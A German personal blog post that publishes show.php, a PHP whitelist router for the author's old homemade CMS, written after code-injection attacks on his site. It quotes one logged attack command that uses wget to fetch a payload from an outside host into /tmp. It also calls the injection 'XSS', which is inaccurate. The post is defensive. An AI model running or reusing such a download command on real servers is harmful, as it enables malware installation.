show.php - mu21.de pre-web 2.0-Standard…

Code Archive - show.php

…das Herzstück - oder: Codeschnipsel 1 der o. g. Version:

Wie bereits früher erwähnt, führte ich bereits (unbewusst) Anfang 2003 den so genannten pre-web 2.0-Standard auf meinen www-Seiten ein (im weiteren Verlauf bezeichnete ich dieses Codierungsverfahren zwar als Versionsnummer 3.0 (zumindest bei der Schwedenreise) - aber vielleicht war ich dabei der Zeit einfach ein bisschen voraus ;-)).

Nun veröffentliche ich sukzessive den Code des Grundgerüsts meines damaligen “CMS”.

Zuerst - das Herzstück der damaligen Seite: show.php:

Anfangs, als das www noch nicht so böse wie heute war, benötige ich die Datei show.php in der vorliegenden Form innerhalb meines “News-Systems” noch nicht. Damals war show.php alleinig dafür zuständig den Seitenaufruf in der Form “index.php?dir=Verzeichnis&file=Dateiname” (sei er vom Benutzer oder eben dynamisch generiert) zu übersetzten und den richtigen Rückgabewert für index.php zu liefern. Mit der Zeit häuften sich jedoch Angriffe der Art:

> Hostname: mu21.de
> Aufruf: wget -O /tmp/a.out http://www.b00gle.com/cli.gz
>
> pwd: mu21.de
>
> env:
> PWD=mu21.de
> XPS__REMOTE_ADDR=[bekannt]
> XPS__REQUEST_METHOD=POST
> XPS__REQUEST_URI=/
> XPS__SCRIPT_URI=http://www.mu21.de/
>
> Remote-Hostname: [verschiedene]

Diese ließen auf Code-Injection (d.h. es war eine Sicherheitslücke gegeben, mit der es potentiellen Angreifern möglich wurde ihren (fremden) (Schad-) Code einzuschleusen und auch auszuführen, XSS) innerhalb des damaligen index.php schließen. Also habe ich den Code innerhalb von index.php mit mehreren switch-Anweisungen in der Datei schow.php abgesichert.

<?php
if(empty($file)OR empty($dir))
{
chdir("/mu21.de/news");
include("shownews.php");
}
else
{
switch ($dir)
{
case "schwedenreise":
switch ($file)
{
case "schwedenreise.php":
chdir("/mu21.de/schwedenreise");
include("schwedenreise.php");
break;
case "vaettern.php":
chdir("/mu21.de/schwedenreise");
include("vaettern.php");
break;
case "vaenern.php":
chdir("/mu21.de/schwedenreise");
include("vaenern.php");
break;
case "stockholm.php":
chdir("/mu21.de/schwedenreise");
include("stockholm.php");
break;
case "vimmerby.php":
chdir("/mu21.de/schwedenreise");
include("vimmerby.php");
break;
case "halmstad.php":
chdir("/mu21.de/schwedenreise");
include("halmstad.php");
break;
case "goeteborg.php":
chdir("/mu21.de/schwedenreise");
include("goeteborg.php");
break;
case "party.php":
chdir("/mu21.de/schwedenreise");
include("party.php");
break;
}
break;
case "FH":
chdir("/mu21.de/FH");
include("index.php");
break;
case "links":
switch ($file)
{
case "index.php":
chdir("/mu21.de/links");
include("index.php");
break;
case "anmelden.php":
chdir("/mu21.de/links");
include("anmelden.php");
break;
case "mail.php":
chdir("/mu21.de/links");
include("mail.php");
break;
}
break;
case "feedback":
switch ($file)
{
case "feedback.php":
chdir("/mu21.de/feedback");
include("feedback.php");
break;
case "submit.php":
chdir("/mu21.de/feedback");
include("submit.php");
break;
}
break;
case "dns":
chdir("/mu21.de/dns");
include("index.php");
break;
case "imprint":
chdir("/mu21.de/imprint");
include("index.php");
break;
case "Home":
chdir("/mu21.de/Home");
include("webmail.php");
break;
default:
chdir("/mu21.de/news");
include("shownews.php");
break;
case "v2":
chdir("/mu21.de/v2");
include("index.php");
break;
}
}
?>

Print

2 Comments to 'show.php - mu21.de pre-web 2.0-Standard…'

Subscribe to comments with RSS or TrackBack to 'show.php - mu21.de pre-web 2.0-Standard…'.

:: Trackbacks/Pingbacks ::

  1. Pingback by mu21.de [nt & lifestyle] » Code Archive - on May 2nd, 2007 at 3:28 pm

  2. Pingback by mu21.de [nt & lifestyle] » Code Archive - on June 6th, 2007 at 2:09 pm

Leave a Reply